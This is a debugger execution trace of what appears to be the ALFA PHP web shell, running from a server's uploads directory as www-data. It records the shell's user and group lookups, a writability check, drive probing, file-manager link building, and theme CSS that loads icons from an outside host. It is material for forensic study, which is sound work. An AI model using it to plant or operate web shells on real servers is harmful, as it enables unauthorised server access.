4 90 0 0.015290 2773928 posix_getegid 0 /var/www/html/uploads/alfa.phtml 1030 0
4 90 1 0.015302 2773928
4 90 R 33
4 91 0 0.015314 2773928 posix_getgrgid 0 /var/www/html/uploads/alfa.phtml 1030 1 33
4 91 1 0.015341 2774592
4 91 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/alfa.phtml 1030 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/alfa.phtml 1031 $user = 'www-data'
3 A /var/www/html/uploads/alfa.phtml 1032 $uid = 33
3 A /var/www/html/uploads/alfa.phtml 1033 $group = 'www-data'
3 A /var/www/html/uploads/alfa.phtml 1034 $gid = 33
3 A /var/www/html/uploads/alfa.phtml 1036 $cwd_links = ''
4 92 0 0.015427 2773208 explode 0 /var/www/html/uploads/alfa.phtml 1037 2 '/' '/var/www/html/uploads/'
4 92 1 0.015441 2773816
4 92 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/alfa.phtml 1037 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/alfa.phtml 1038 $n = 6
3 A /var/www/html/uploads/alfa.phtml 1039 $i = 0
3 A /var/www/html/uploads/alfa.phtml 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.phtml 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.phtml 1042 $j = 0
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1046 $cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3 A /var/www/html/uploads/alfa.phtml 1039 $i++
3 A /var/www/html/uploads/alfa.phtml 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.phtml 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.phtml 1042 $j = 0
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1046 $cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3 A /var/www/html/uploads/alfa.phtml 1039 $i++
3 A /var/www/html/uploads/alfa.phtml 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.phtml 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.phtml 1042 $j = 0
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1046 $cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3 A /var/www/html/uploads/alfa.phtml 1039 $i++
3 A /var/www/html/uploads/alfa.phtml 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.phtml 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.phtml 1042 $j = 0
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1046 $cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3 A /var/www/html/uploads/alfa.phtml 1039 $i++
3 A /var/www/html/uploads/alfa.phtml 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.phtml 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.phtml 1042 $j = 0
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1043 $cwd_links .= 'uploads/'
3 A /var/www/html/uploads/alfa.phtml 1044 $cach_cwd_path .= 'uploads/'
3 A /var/www/html/uploads/alfa.phtml 1042 $j++
3 A /var/www/html/uploads/alfa.phtml 1046 $cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3 A /var/www/html/uploads/alfa.phtml 1039 $i++
3 A /var/www/html/uploads/alfa.phtml 1048 $drives = ''
4 93 0 0.016176 2774560 range 0 /var/www/html/uploads/alfa.phtml 1049 2 'a' 'z'
4 93 1 0.016190 2775960
4 93 R [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4 94 0 0.016222 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'a:\\'
4 94 1 0.016243 2775968
4 94 R FALSE
4 95 0 0.016258 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'b:\\'
4 95 1 0.016273 2775968
4 95 R FALSE
4 96 0 0.016286 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'c:\\'
4 96 1 0.016301 2775968
4 96 R FALSE
4 97 0 0.016315 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'd:\\'
4 97 1 0.016329 2775968
4 97 R FALSE
4 98 0 0.016346 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'e:\\'
4 98 1 0.016364 2775968
4 98 R FALSE
4 99 0 0.016378 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'f:\\'
4 99 1 0.016393 2775968
4 99 R FALSE
4 100 0 0.016405 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'g:\\'
4 100 1 0.016419 2775968
4 100 R FALSE
4 101 0 0.016432 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'h:\\'
4 101 1 0.016446 2775968
4 101 R FALSE
4 102 0 0.016459 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'i:\\'
4 102 1 0.016472 2775968
4 102 R FALSE
4 103 0 0.016485 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'j:\\'
4 103 1 0.016499 2775968
4 103 R FALSE
4 104 0 0.016512 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'k:\\'
4 104 1 0.016525 2775968
4 104 R FALSE
4 105 0 0.016538 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'l:\\'
4 105 1 0.016551 2775968
4 105 R FALSE
4 106 0 0.016564 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'm:\\'
4 106 1 0.016577 2775968
4 106 R FALSE
4 107 0 0.016590 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'n:\\'
4 107 1 0.016603 2775968
4 107 R FALSE
4 108 0 0.016615 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'o:\\'
4 108 1 0.016628 2775968
4 108 R FALSE
4 109 0 0.016641 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'p:\\'
4 109 1 0.016654 2775968
4 109 R FALSE
4 110 0 0.016666 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'q:\\'
4 110 1 0.016680 2775968
4 110 R FALSE
4 111 0 0.016692 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'r:\\'
4 111 1 0.016707 2775968
4 111 R FALSE
4 112 0 0.016720 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 's:\\'
4 112 1 0.016734 2775968
4 112 R FALSE
4 113 0 0.016747 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 't:\\'
4 113 1 0.016762 2775968
4 113 R FALSE
4 114 0 0.016775 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'u:\\'
4 114 1 0.016788 2775968
4 114 R FALSE
4 115 0 0.016801 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'v:\\'
4 115 1 0.016814 2775968
4 115 R FALSE
4 116 0 0.016827 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'w:\\'
4 116 1 0.016841 2775968
4 116 R FALSE
4 117 0 0.016854 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'x:\\'
4 117 1 0.016868 2775968
4 117 R FALSE
4 118 0 0.016880 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'y:\\'
4 118 1 0.016893 2775968
4 118 R FALSE
4 119 0 0.016906 2775928 is_dir 0 /var/www/html/uploads/alfa.phtml 1050 1 'z:\\'
4 119 1 0.016924 2775968
4 119 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1052 $csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4 120 0 0.016959 2774560 __showicon 1 /var/www/html/uploads/alfa.phtml 1058 1 'alfamini'
4 A /var/www/html/uploads/alfa.phtml 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.phtml 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.phtml 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 120 1 0.017011 2774560
4 120 R 'http://solevisible.com/images/alfamini.png'
4 121 0 0.017327 2789520 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 1069 1 'header_values'
4 A /var/www/html/uploads/alfa.phtml 618 $target = '#67ABDF'
4 121 1 0.017358 2789520
4 121 R '#67ABDF'
4 122 0 0.017373 2791056 __showicon 1 /var/www/html/uploads/alfa.phtml 1069 1 'alfamini'
4 A /var/www/html/uploads/alfa.phtml 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.phtml 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.phtml 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 122 1 0.017425 2791056
4 122 R 'http://solevisible.com/images/alfamini.png'
4 123 0 0.017443 2795152 __showicon 1 /var/www/html/uploads/alfa.phtml 1069 1 'alfamini'
4 A /var/www/html/uploads/alfa.phtml 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.phtml 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.phtml 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 123 1 0.017491 2795152
4 123 R 'http://solevisible.com/images/alfamini.png'
4 124 0 0.017508 2795152 __showicon 1 /var/www/html/uploads/alfa.phtml 1069 1 'btn'
4 A /var/www/html/uploads/alfa.phtml 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.phtml 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.phtml 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 124 1 0.017554 2795152
4 124 R 'http://solevisible.com/images/btn.png'
4 125 0 0.017570 2795152 is_writable 0 /var/www/html/uploads/alfa.phtml 1070 1 '/var/www/html/uploads/'
4 125 1 0.017588 2795192
4 125 R TRUE
4 126 0 0.017607 2799248 alfaCssLoadColors 1 /var/www/html/uploads/alfa.phtml 1070 0
4 A /var/www/html/uploads/alfa.phtml 627 $css = ''
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'shell_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.header'
5 127 0 0.017656 2799248 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 127 1 0.017693 2799248
5 127 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 128 0 0.017718 2799248 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border: 7px solid {color}'
5 128 1 0.017735 2799400
5 128 R 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.header{border: 7px solid #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '#meunlist'
5 129 0 0.017785 2799368 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 129 1 0.017846 2799368
5 129 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 130 0 0.017873 2799368 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 130 1 0.017893 2799512
5 130 R 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '#meunlist{border-color: #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '#hidden_sh'
5 131 0 0.017941 2799392 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 131 1 0.017977 2799392
5 131 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 132 0 0.018001 2799392 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'background-color: {color}'
5 132 1 0.018017 2799544
5 132 R 'background-color: #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '#hidden_sh{background-color: #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.ajaxarea'
5 133 0 0.018067 2799432 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 133 1 0.018102 2799432
5 133 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 134 0 0.018126 2799432 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 134 1 0.018142 2799584
5 134 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.ajaxarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.foot'
5 135 0 0.018190 2799496 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 135 1 0.018224 2799496
5 135 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 136 0 0.018248 2799496 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 136 1 0.018263 2799640
5 136 R 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.foot{border-color: #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_vars'
5 137 0 0.018312 2799488 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_vars'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#27979B'
5 137 1 0.018337 2799488
5 137 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#27979B'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_vars{color: #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_values'
5 138 0 0.018385 2799520 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_values'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#67ABDF'
5 138 1 0.018409 2799520
5 138 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_values{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_on'
5 139 0 0.018455 2799552 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_on'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#00FF00'
5 139 1 0.018478 2799552
5 139 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_on{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_off'
5 140 0 0.018527 2799616 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_off'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#ff0000'
5 140 1 0.018551 2799616
5 140 R '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_off{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_none'
5 141 0 0.018597 2799616 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_none'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#00FF00'
5 141 1 0.018621 2799616
5 141 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_none{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'home_shell'
5 142 0 0.018665 2799680 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'home_shell'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#ff0000'
5 142 1 0.018689 2799680
5 142 R '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.home_shell{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'home_shell:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.home_shell:hover'
5 143 0 0.018745 2799680 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'home_shell:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5 143 1 0.018774 2799680
5 143 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 144 0 0.018798 2799680 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 144 1 0.018812 2799816
5 144 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.home_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'back_shell'
5 145 0 0.018859 2799736 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'back_shell'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#efbe73'
5 145 1 0.018883 2799736
5 145 R '#efbe73'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#efbe73'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.back_shell{color: #efbe73;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'back_shell:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.back_shell:hover'
5 146 0 0.018939 2799736 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'back_shell:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5 146 1 0.018969 2799736
5 146 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 147 0 0.018993 2799736 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 147 1 0.019008 2799872
5 147 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.back_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_pwd'
5 148 0 0.019054 2799800 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_pwd'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#00FF00'
5 148 1 0.019078 2799800
5 148 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_pwd{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_pwd:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.header_pwd:hover'
5 149 0 0.019133 2799800 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'header_pwd:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5 149 1 0.019170 2799800
5 149 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 150 0 0.019194 2799800 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 150 1 0.019209 2799936
5 150 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.header_pwd:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_drive'
5 151 0 0.019255 2799928 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_drive'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#00FF00'
5 151 1 0.019279 2799928
5 151 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_drive{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_drive:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.header_drive:hover'
5 152 0 0.019334 2799928 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'header_drive:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5 152 1 0.019363 2799928
5 152 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 153 0 0.019387 2799928 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 153 1 0.019402 2800064
5 153 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.header_drive:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'header_show_all'
5 154 0 0.019448 2799928 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'header_show_all'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#00FF00'
5 154 1 0.019472 2799928
5 154 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.header_show_all{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'disable_functions'
5 155 0 0.019516 2799928 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'disable_functions'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#ff0000'
5 155 1 0.019541 2799928
5 155 R '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.disable_functions{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'footer_text'
5 156 0 0.019586 2800056 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'footer_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#27979B'
5 156 1 0.019609 2800056
5 156 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#27979B'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.footer_text{color: #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'menu_options'
5 157 0 0.019655 2800056 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'menu_options'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#27979B'
5 157 1 0.019679 2800056
5 157 R '#27979B'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#27979B'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.menu_options{color: #27979B;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'menu_options:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.menu_options:hover'
5 158 0 0.019735 2800056 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'menu_options:hover'
